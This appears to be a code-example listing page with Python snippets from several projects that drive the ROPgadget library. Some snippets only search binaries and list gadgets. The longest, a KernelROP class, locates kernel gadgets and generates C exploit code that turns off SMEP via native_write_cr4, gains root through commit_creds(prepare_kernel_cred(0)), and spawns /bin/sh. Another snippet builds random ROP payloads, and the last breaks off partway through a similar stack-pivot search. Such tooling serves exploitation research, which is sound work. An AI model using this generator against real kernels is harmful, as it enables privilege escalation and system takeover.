예제 #1
0
def main():
  parser = argparse.ArgumentParser(description='Generate payload for ropsimulate.')
  parser.add_argument('-s', '--seed', type=str, help='Random seed.')
  parser.add_argument('-e', '--end', type=str, metavar="<hexaddr>", default=0, help='Address of final gadget in payload.')
  parser.add_argument('-n', '--size', type=int, metavar="<number>", default=4096, help='Minimum size of payload in bytes')
  parser.add_argument('-w', '--memweight', type=int, metavar="0-99", default=75, choices=range(100), help='Weight of memory access gadgets (0-99). Default is 75, 0 if scratch buffer not specified.')
  parser.add_argument('-m', '--scratch', type=str, metavar="<hexaddr>", default='0', help='Address of scratch space for memory gadgets. No memory gadgets will be used without this argument.')
  parser.add_argument('input', type=str, help='Input ELF executable')
  parser.add_argument('output', type=argparse.FileType('wb'), help='Output ROP payload')
  args = parser.parse_args()
  random.seed(args.seed)
  ropg = ROPGadgetCore(ROPGadgetArgs(['--console']).getArgs())
  ropg.do_binary(args.input, True)
  i = 0
  scratch = int(args.scratch, 16)
  generate = ROPGenerate(ropg)
  while i < args.size/4:
    if scratch > 0 and random.randrange(100) < args.memweight:
      i += generate.get_random_mem_chain(scratch, args.output)
    else:
      i += generate.get_random_chain(args.output)
  final = int(args.end, 16)
  if (final > 0):
    args.output.write(struct.pack('<I', final))
    i += 1
    print '0x%08X = end' % final
  print 'Total bytes: %d' % (i*4)
예제 #2
0
def gadgets(path):
    # TODO: Use ROPGadget to load gadgets from the binary in path
    args = ["--binary", path, "--callPreceded"]
    ropcore = Core(Args(args).getArgs())
    all_gadgets = ropcore.getGadgetsQuiet()
    print "ropgadget provided {} gadgets.".format(len(all_gadgets))
    gadgets = {
        "reg_load": [],  # gadgets to load reg from stack
        "add": [],  # gadgets to perform addition on register
        "sub": [],  # gadgets to perform subtraction on register
        "esp_lift": [],  # gadgets to lift ESP
        "mem_read": [],  # gadgets to read word from memory into reg
        "mem_write": [],  # gadgets to write word from reg into memory.
        "other": []
    }

    for gadget in all_gadgets:
        gtypes = classifyGadget(gadget)
        for gtype in gtypes:
            gadgets[gtype].append(gadget)
    print "----Gadget Types Loaded----"
    for key in gadgets:
        print "{}: {} gadgets".format(key, len(gadgets[key]))
    print "---------------------------"
    print_gadgets_from = "mem_write"
    for gadget in gadgets[print_gadgets_from]:
        print "{}\n writing ability: {}\n".format(gadget["gadget"],
                                                  gadget["LOAD"])
    assert False
    return gadgets
예제 #3
0
 def __init__(self, kernel_path, cmd, KASLR=False):
     #self.b=angr.Project(KERNEL_PATH)
     self.c = Core(Args(arguments = cmd).getArgs())
     self.kernel_path = kernel_path
     #self.k=ELF(kernel_path)
     self.k = None
     self.stack_pivot_gadgets = []
     self.pop_rdi_ret_gadget = []
     self.pop_rdx_ret_gadget = []
     self.pop_rax_ret_gadget = []
     self.swapgs_gadget = []
     self.Iretq_gadget = None
     self.stack_pivot_gadgets_in_text = ''
     self.stack_pivot_gadgets_ready_to_use=[]
     self.user_space_base=None
예제 #4
0
def main():
    import sys
    from   ropgadget.args import Args
    from   ropgadget.core import Core
    try:
        args = Args()
    except ValueError as e:
        print(e)
        sys.exit(-1)
    sys.exit(0 if Core(args.getArgs()).analyze() else 1)
예제 #5
0
def main():
    import sys
    from ropgadget.args import Args
    from ropgadget.core import Core
    sys.exit(Core(Args().getArgs()).analyze())
예제 #6
0
class KernelROP(object):
    def __init__(self, kernel_path, cmd, KASLR=False):
        #self.b=angr.Project(KERNEL_PATH)
        self.c = Core(Args(arguments = cmd).getArgs())
        self.kernel_path = kernel_path
        #self.k=ELF(kernel_path)
        self.k = None
        self.stack_pivot_gadgets = []
        self.pop_rdi_ret_gadget = []
        self.pop_rdx_ret_gadget = []
        self.pop_rax_ret_gadget = []
        self.swapgs_gadget = []
        self.Iretq_gadget = None
        self.stack_pivot_gadgets_in_text = ''
        self.stack_pivot_gadgets_ready_to_use=[]
        self.user_space_base=None

    def is_stack_pivot(self, gadget):
        vaddr = gadget["vaddr"]
        insts = gadget["gadget"]
        if len(insts.split(';')) != 2:
            return False
        if vaddr % 8 != 0:  # filter out gadget not align to 8
            return False
        regex = re.compile(r'xchg e\w\w, esp ; ret[\S]*')
        if regex.search(insts) is None:
            return False
        return True


    def lookingForIretq(self):
        opcodes = '48cf'
        if self.c._Core__checksBeforeManipulations() is False:
            return False
        execsections = self.c._Core__binary.getExecSections()
        arch = self.c._Core__binary.getArchMode()
        for section in execsections:
            #if section['name'] != '.text':
                #continue
            allRef = [m.start() for m in re.finditer(re.escape(opcodes.decode("hex")), section["opcodes"])]
            for ref in allRef:
                vaddr  = self.c._Core__offset + section["vaddr"] + ref
                rangeS = int(self.c._Core__options.range.split('-')[0], 16)
                rangeE = int(self.c._Core__options.range.split('-')[1], 16)
                if (rangeS == 0 and rangeE == 0) or (vaddr >= rangeS and vaddr <= rangeE):
                    print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(opcodes))
                    self.Iretq_gadget = vaddr
                    return
        #s=self.k.get_section_by_name('.text')
        #low_bound=s.header['sh_addr']
        #high_bound=low_bound+s.header['sh_size']
        #for _ in self.k.search('\x48\xcf'):
            #if _ > low_bound and _ < high_bound:
                #print 'Found iretq gadget at '+hex(_)
                #self.Iretq_gadget=_
                #break

        return

    def lookingForSwapgs(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "swapgs ; pop rbp ; ret":
                print("Swapgs gadget found at "+hex(vaddr)+' '+insts)
                self.swapgs_gadget.append(gadget)
        return
        
    def lookingForPopRaxRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rax ; ret":
                print("Pop Rax Ret found at "+hex(vaddr))
                self.pop_rax_ret_gadget.append(gadget)
                break
        return

    def lookingForPopRdxRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rdx ; ret":
                print("Pop Rdx Ret found at "+hex(vaddr))
                self.pop_rdx_ret_gadget.append(gadget)
                break
        return

    def lookingForPopRdiRetGadget(self):
        if self.c._Core__checksBeforeManipulations()==False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            if insts == "pop rdi ; ret":
                print("Pop Rdi Ret found at "+hex(vaddr))
                self.pop_rdi_ret_gadget.append(gadget)
                break
        return

    def lookingForStackPivotGadgets(self):
        """
        find  stack pivot to user space
        """
        if self.c._Core__checksBeforeManipulations() == False:
            return False
        arch = self.c._Core__binary.getArchMode()
        print("Gadgets information\n============================================================")
        for gadget in self.c._Core__gadgets:
            vaddr = gadget["vaddr"]
            insts = gadget["gadget"]
            #print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts))
            if self.is_stack_pivot(gadget):
                print(("0x%08x" %(vaddr) if arch == CS_MODE_32 else "0x%016x" %(vaddr)) + " : %s" %(insts))
                self.stack_pivot_gadgets.append(gadget)
                self.stack_pivot_gadgets_in_text += hex(vaddr) + ' : ' + insts+'\n'
        return True

    def analyze_to_get_gadgets(self):
        if os.path.isfile('rop_core.cache'):
            try:
                self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0
            except ValueError:
                print("[Error] The offset must be in hexadecimal")
                return Fa
            self.c._Core__binary = Binary(self.c._Core__options)

            if self.c._Core__checksBeforeManipulations() == False:
                return False

            print '[+] loading rop core from disk'
            with open('rop_core.cache','rb') as f:
                self.c._Core__gadgets = pickle.load(f)
        else:
            try:
                self.c._Core__offset = int(self.c._Core__options.offset, 16) if self.c._Core__options.offset else 0
            except ValueError:
                print("[Error] The offset must be in hexadecimal")
                return Fa

            self.c._Core__binary = Binary(self.c._Core__options)

            if self.c._Core__checksBeforeManipulations() == False:
                return False
            else:
                print 'getting all gadgets'
                self.c._Core__getAllgadgets()
                print '[+] dumping rop core to disk'
                with open('rop_core.cache','wb') as f:
                    for agadget in self.c.gadgets():
                        agadget['decodes'] = None
                    pickle.dump(self.c.gadgets(), f, -1)

    def find_offset_for_stack_pivot(self):
        for line in self.stack_pivot_gadgets_in_text.split('\n'):
            register_storing_ip = ''
            if line == '':
                continue
            target_str, gadget = line.split(':')
            target_addr = int(target_str, 16)

            stack_offset_str = gadget.strip().split('ret')[1]
            if stack_offset_str != '':
                stack_offset = int(stack_offset_str.strip(), 16)
            else:
                stack_offset = 0
            if 'eax' in gadget:
                register_storing_ip = 'eax'
            elif 'ebx' in gadget:
                register_storing_ip = 'ebx'
            elif 'ecx' in gadget:
                register_storing_ip = 'ecx'
            elif 'edx' in gadget:
                register_storing_ip = 'edx'
            elif 'edi' in gadget:
                register_storing_ip = 'edi'
            elif 'esi' in gadget:
                register_storing_ip = 'esi'
            else:
                print '...'
                import IPython; IPython.embed()
                assert 0
            #3print 'gadget =', gadget.strip()
            #print 'stack addr = %x' % (target_addr & 0xffffffff)
            #print 'stack top = %x' % (stack_offset)
            sp_gadget = {'stack_addr': target_addr,
                    'stack_top': stack_offset,
                    'gadget': gadget.strip(),
                    'register': register_storing_ip}
            self.stack_pivot_gadgets_ready_to_use.append(sp_gadget)
        return

    def find_function_address_by_name(self, function_name):
        try:
            addr=self.k.symbols[function_name]
            print function_name, 'is found at', hex(addr)
        except:
            print 'can not find'+function_name
            return -1
        return addr

    def routine1_to_c_code(self, register_storing_ip='eax'):
        self.analyze_to_get_gadgets()
        self.k=ELF(self.kernel_path)
        self.lookingForStackPivotGadgets()
        self.find_offset_for_stack_pivot()
        self.lookingForPopRdiRetGadget()
        self.lookingForSwapgs()
        self.lookingForIretq()
        native_write_cr4 = self.find_function_address_by_name('native_write_cr4')
        prepare_kernel_cred = self.find_function_address_by_name('prepare_kernel_cred')
        commit_creds = self.find_function_address_by_name('commit_creds')
        #print self.pop_rdi_ret_gadget

        selected_gadget_idx=-1
        # choose a stack pivot with selected registers
        for idx, stack_pivot_gadget in enumerate(self.stack_pivot_gadgets_ready_to_use):
            if stack_pivot_gadget['register']==register_storing_ip:
                selected_gadget_idx = idx
                break
        if selected_gadget_idx==-1:
            print 'can not find a suitable stack pivot gadget for register:', register_storing_ip
            import IPython; IPython.embed()

        consts =''
        consts += '#include <sys/mman.h>\n'
        consts += '#define native_write_cr4 '\
                + hex(native_write_cr4)\
                + '\n'
        consts += '#define PREPARE_KERNEL_CRED '\
                + hex(prepare_kernel_cred)\
                + '\n'
        consts += '#define COMMIT_CREDS '\
                + hex(commit_creds)\
                + '\n'
        consts += '#define poprdiret '\
                + hex(self.pop_rdi_ret_gadget[0]['vaddr'])\
                + '\n'
        consts += '#define swapgs '\
                + hex(self.swapgs_gadget[0]['vaddr'])\
                + '\n'
        consts += '#define iretq '\
                + hex(self.Iretq_gadget)\
                + '\n'
        consts += '#define stack_pivot_gadget '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr'])\
                + '\n'
        consts += '#define stack_top_offset '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\
                + '\n'
        consts += '#define krop_base_to_map '\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']&0xfffff000)\
                + '\n'
        consts += 'int rop_start='\
                + hex(self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_addr']\
                &0xfff\
                + self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]['stack_top'])\
                + ';\n'
        consts += 'void* krop_base_mapped;\n'

        body = '''unsigned long rop_chain[] = {
    poprdiret,
    0x6f0,
    native_write_cr4,
    get_root_payload,
    swapgs,
    0, //dummy
    iretq,
    get_shell,
    0,//user_cs,
    0,//user_rflags,
    0,//krop_base_mapped + 0x4000,
    0//user_ss
};
    '''
        header = '''
unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
    asm(
        "movq %%cs, %0\\n"
        "movq %%ss, %1\\n"
        "pushfq\\n"
        "popq %2\\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_shell()
{
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void)
{
    commit_creds(prepare_kernel_cred(0));
}
'''
        krop_base = self.stack_pivot_gadgets_ready_to_use[selected_gadget_idx]\
                ['stack_addr']&0xfffff000
        tail = '''
void prepare_krop(){
    krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    if (krop_base_mapped<0){
        perror("mmap failed");
    }
    rop_chain[8]=user_cs;
    rop_chain[9]=user_rflags;
    rop_chain[10]=krop_base_mapped + 0x4000;
    rop_chain[11]=user_ss;
    memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
    puts("rop_payload_initialized");
}
'''
        c_code = consts + header + body + tail
        print 'finied generating c code for KROP'
        return selected_gadget_idx, c_code, self.c
예제 #7
0
def main(bin_path, module_name, p):
    import sys
    from ropgadget.args import Args
    from ropgadget.core import Core
    from argparse import Namespace
    # sys.exit(0 if Core(Args().getArgs()).analyze() else 1)

    l = 0

    for j in bin_path:
        n = j.split('\\')
        n = n[len(n) - 1]

        if len(n) > l:
            l = len(n)

    # p = "C:\\Users\\User\\Desktop\\ROP_Project\\Gadget_Sets\\"
    f = open(module_name + "_ROP_Gadgets.txt", "w")

    for b in bin_path:

        options = Namespace(all=False,
                            badbytes=None,
                            binary=b,
                            callPreceded=False,
                            checkUpdate=False,
                            console=False,
                            depth=10,
                            dump=False,
                            filter=None,
                            memstr=None,
                            multibr=False,
                            noinstr=False,
                            nojop=True,
                            norop=False,
                            nosys=True,
                            offset=None,
                            only=None,
                            opcode=None,
                            range='0x0-0x0',
                            rawArch=None,
                            rawEndian=None,
                            rawMode=None,
                            re=None,
                            ropchain=False,
                            silent=True,
                            string=None,
                            thumb=False,
                            version=False)

        print(b)

        c = Core(options)
        c.analyze()
        g = (c.gadgets())

        name = b.split('\\')
        name = name[len(name) - 1]

        for i in g:
            s = str(name) + ("-" * (len(name) - l)) + " | " + str(
                hex(i['vaddr'])) + " | " + str(i['gadget']) + "\n"
            f.write(s)

    f.close()
    return module_name + "_ROP_Gadgets.txt"
예제 #8
0
 def __init__(self, binary):
     arguments = ["--binary", binary, "--silent", "--multibr"]
     args = ropgadget.args.Args(arguments).getArgs()
     core = Core(args)
     core.analyze()
     self.gadgets = core.gadgets()
예제 #9
0
from pwn import *
import subprocess
import ropgadget
from ropgadget.binary import Binary
from capstone import CS_MODE_32
import re

KERNEL_PATH = '/home/ww9210/kernels/4.10-no-kasan/vmlinux'
KERNEL_PATH = '/home/ww9210/kernels/4.10-inject-10150-no-kasan/vmlinux'
cmd= ('--binary ' + KERNEL_PATH + ' --depth 3')\
        .split(' ')
#subprocess.call(cmd.split(' '))
from ropgadget.args import Args
from ropgadget.core import Core

c = Core(Args(arguments=cmd).getArgs())
#import IPython; IPython.embed()


def is_stack_pivot(gadget):
    ''' when choosing a stack pivot gadget is that it needs to be aligned by 8 bytes (since the ops is the array of 8 byte pointers and its base address is properly aligned)'''
    vaddr = gadget["vaddr"]
    insts = gadget["gadget"]
    if len(insts.split(';')) != 2:
        return False

    if vaddr % 8 != 0:
        return False

    regex = re.compile(r'xchg e\w\w, esp ; ret[\S]*')
    if regex.search(insts) == None: